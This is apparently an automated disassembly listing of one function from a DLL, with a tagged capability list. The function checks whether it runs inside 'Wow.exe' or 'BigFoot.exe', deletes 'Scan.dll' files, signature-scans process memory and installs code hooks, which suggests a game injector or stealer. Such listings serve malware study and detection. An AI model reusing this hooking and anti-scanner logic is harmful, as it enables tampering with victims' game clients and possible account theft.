Function at 0x10001bf7
Capabilities:
Delete file
Enumerate gui resources
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll__stricmp]
mov ebx, 0x1009212c
push str.Wow.exe
push ebx
call edi
pop ecx
test eax, eax
pop ecx
jne 0x100020c3
push 0x10091ad8
push 1
push 0x10091b88
push 0x10092230
call fcn.10004f61
push 0x10092508
call fcn.100055c1
add esp, 0x14
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x213]
push 0x40
mov byte [ebp - 0x214], bl
pop ecx
mov byte [ebp - 0x110], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x10f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x214]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x110]
push str._sScan.dll
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0xc
lea eax, [ebp - 0x110]
push eax
call esi
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x110]
push str._sScan.dll.new
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x110]
push eax
call esi
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.100054dc
test eax, eax
jne 0x1000212f
call dword [sym.imp.MSVCRT.dll__getpid]
push eax
push 0x100019b3
call dword [sym.imp.USER32.dll_EnumWindows]
call fcn.10002761
mov edi, eax
call fcn.10004819
push 0x10001a80
call fcn.10003c56
mov eax, dword [0x1000b1c4]
pop ecx
cmp eax, 1
je 0x1000212f
cmp eax, 2
je 0x1000212f
cmp eax, ebx
mov esi, str.wow.exe
jne 0x10001f55
push 1
push 9
lea eax, [ebp - 0xc]
push 9
push eax
push esi
mov ecx, edi
mov byte [ebp - 0xc], 0x8b
mov byte [ebp - 0xb], 0x33
mov byte [ebp - 0xa], 3
mov byte [ebp - 9], 0xf0
mov byte [ebp - 8], 0xb9
mov byte [ebp - 7], 0x55
mov byte [ebp - 6], bl
mov byte [ebp - 5], bl
mov byte [ebp - 4], bl
call fcn.10002503
cmp eax, ebx
jbe 0x10001d7a
push 0x1000130b
push eax
mov ecx, edi
call fcn.10002382
or byte [ebp - 3], 0xff
or byte [ebp - 2], 0xff
push 1
push 0xe
lea eax, [ebp - 8]
push 8
push eax
push esi
mov ecx, edi
mov byte [ebp - 8], 0x50
mov byte [ebp - 7], 0x8d
mov byte [ebp - 6], 0x8d
mov byte [ebp - 5], bl
mov byte [ebp - 4], 0xfb
mov byte [ebp - 1], 0x51
call fcn.10002503
cmp eax, ebx
jbe 0x10001dbc
push 0x10001360
push eax
mov ecx, edi
call fcn.1000218a
push 1
push 0x20
lea eax, [ebp - 0xc]
push 0xa
push eax
push esi
mov ecx, edi
mov byte [ebp - 0xc], 0xf
mov byte [ebp - 0xb], 0xb6
mov byte [ebp - 0xa], 0x90
mov byte [ebp - 9], 0xed
mov byte [ebp - 8], 0x46
mov byte [ebp - 7], bl
mov byte [ebp - 6], bl
mov byte [ebp - 5], 0x39
mov byte [ebp - 4], 0x56
mov byte [ebp - 3], 0x28
call fcn.10002503
cmp eax, ebx
jbe 0x10001e05
push 0x1000142f
push eax
mov ecx, edi
call fcn.1000218a
push 1
push 6
lea eax, [ebp - 8]
push 6
push eax
push esi
mov ecx, edi
mov byte [ebp - 8], 0x8b
mov byte [ebp - 7], 0x55
mov byte [ebp - 6], 0x10
mov byte [ebp - 5], 0x89
mov byte [ebp - 4], 0x4b
mov byte [ebp - 3], 0x10
call fcn.10002503
cmp eax, ebx
jbe 0x10001e40
push 0x10001486
push eax
mov ecx, edi
call fcn.10002290
push 1
push 0xffffffffffffffd1
lea eax, [ebp - 8]
push 8
push eax
push esi
mov ecx, edi
mov byte [ebp - 8], 0xd9
mov byte [ebp - 7], 0xe0
mov byte [ebp - 6], 0xde
mov byte [ebp - 5], 0xc1
mov byte [ebp - 4], 0xdd
mov byte [ebp - 3], 0x1c
mov byte [ebp - 2], 0x24
mov byte [ebp - 1], 0x50
call fcn.10002503
cmp eax, ebx
jbe 0x10001e83
push 0x100014ec
push eax
mov ecx, edi
call fcn.10002290
push 1
push 0xd
lea eax, [ebp - 0xc]
push 9
push eax
push esi
mov ecx, edi
mov byte [ebp - 0xc], 0x68
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], 1
mov byte [ebp - 9], bl
mov byte [ebp - 8], bl
mov byte [ebp - 7], 0x83
mov byte [ebp - 6], 0xc1
mov byte [ebp - 5], 4
mov byte [ebp - 4], 0x51
call fcn.10002503
cmp eax, ebx
jbe 0x10001ec7
push 0x100013f2
push eax
mov ecx, edi
call fcn.1000218a
push 1
push 0x16
lea eax, [ebp - 0xc]
push 9
push eax
push esi
mov ecx, edi
mov byte [ebp - 0xc], 0x8b
mov byte [ebp - 0xb], 0x47
mov byte [ebp - 0xa], 0x44
mov byte [ebp - 9], 0x8d
mov byte [ebp - 8], 0x8f
mov byte [ebp - 7], 0x68
mov byte [ebp - 6], 4
mov byte [ebp - 5], bl
mov byte [ebp - 4], bl
call fcn.10002503
cmp eax, ebx
jbe 0x10001f0c
push 0x1000172a
push eax
mov ecx, edi
call fcn.1000218a
push 0x10001859
push 0x80606f
mov ecx, edi
call fcn.1000218a
push 0x100018ba
push 0x806080
mov ecx, edi
call fcn.1000218a
push 0x100016bb
push 0x8060af
mov ecx, edi
call fcn.1000218a
push 0x1000190a
push 0x806151
mov ecx, edi
call fcn.1000218a
mov eax, dword [0x1000b1c4]
cmp eax, 1
jne 0x1000212f
push eax
push 9
lea eax, [ebp - 0xc]
push 9
push eax
push esi
mov ecx, edi
mov byte [ebp - 0xc], 0x8b
mov byte [ebp - 0xb], 0x33
mov byte [ebp - 0xa], 3
mov byte [ebp - 9], 0xf0
mov byte [ebp - 8], 0xb9
mov byte [ebp - 7], 0x55
mov byte [ebp - 6], bl
mov byte [ebp - 5], bl
mov byte [ebp - 4], bl
call fcn.10002503
cmp eax, ebx
jbe 0x10001fa1
push 0x1000130b
push eax
mov ecx, edi
call fcn.10002382
or byte [ebp - 7], 0xff
push 1
push 0xffffffffffffffa5
lea eax, [ebp - 0xc]
push 0xc
push eax
push esi
mov ecx, edi
mov byte [ebp - 0xc], 0x56
mov byte [ebp - 0xb], 0x50
mov byte [ebp - 0xa], 0x8b
mov byte [ebp - 9], 0x42
mov byte [ebp - 8], 0x5c
mov byte [ebp - 6], 0xd0
mov byte [ebp - 5], 0x5f
mov byte [ebp - 4], 0x5e
mov byte [ebp - 3], 0x8b
mov byte [ebp - 2], 0xe5
mov byte [ebp - 1], 0x5d
call fcn.10002503
cmp eax, ebx
jbe 0x10001ff4
push 0x10001360
push eax
mov ecx, edi
call fcn.1000218a
push 1
push 6
lea eax, [ebp - 8]
push 6
push eax
push esi
mov ecx, edi
mov byte [ebp - 8], 0x8b
mov byte [ebp - 7], 0x55
mov byte [ebp - 6], 0x10
mov byte [ebp - 5], 0x89
mov byte [ebp - 4], 0x4b
mov byte [ebp - 3], 0x10
call fcn.10002503
cmp eax, ebx
jbe 0x1000202f
push 0x10001486
push eax
mov ecx, edi
call fcn.10002290
push 1
push 0xffffffffffffffd1
lea eax, [ebp - 8]
push 5
push eax
push esi
mov ecx, edi
mov byte [ebp - 8], 0x89
mov byte [ebp - 7], 0x4d
mov byte [ebp - 6], pe_nt_image_headers32
mov byte [ebp - 5], 0x8b
mov byte [ebp - 4], 0xc8
call fcn.10002503
cmp eax, ebx
jbe 0x10002066
push 0x1000152e
push eax
mov ecx, edi
call fcn.10002290
push 0x1000190a
push 0x7edca1
mov ecx, edi
call fcn.1000218a
push 0x100013f2
push 0x61ea12
mov ecx, edi
call fcn.1000218a
push 1
push 0x41
lea eax, [ebp - 8]
push 8
push eax
push esi
mov ecx, edi
mov byte [ebp - 8], 0xf
mov byte [ebp - 7], 0xb6
mov byte [ebp - 6], 0x88
mov byte [ebp - 5], 0x85
mov byte [ebp - 4], 1
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0x51
call fcn.10002503
cmp eax, ebx
jbe 0x1000212f
push 0x1000142f
jmp 0x10002127
mov esi, str.BigFoot.exe
push esi
push ebx
call edi
pop ecx
test eax, eax
pop ecx
jne 0x10002134
call fcn.10002761
push 0x7d0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 2
push 0xa
lea eax, [ebp - 0xc]
push 0xa
push eax
push esi
mov ecx, edi
mov byte [ebp - 0xc], 0x83
mov byte [ebp - 0xb], 0xc0
mov byte [ebp - 0xa], 4
mov byte [ebp - 9], 0x50
mov byte [ebp - 8], 0x8b
mov byte [ebp - 7], 0x4d
mov byte [ebp - 6], 0xe8
mov byte [ebp - 5], 0x83
mov byte [ebp - 4], 0xc1
mov byte [ebp - 3], 4
call fcn.10002503
test eax, eax
jbe 0x1000212f
push 0x10001961
push eax
mov ecx, edi
call fcn.1000218a
push 1
pop eax
jmp 0x10002136
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret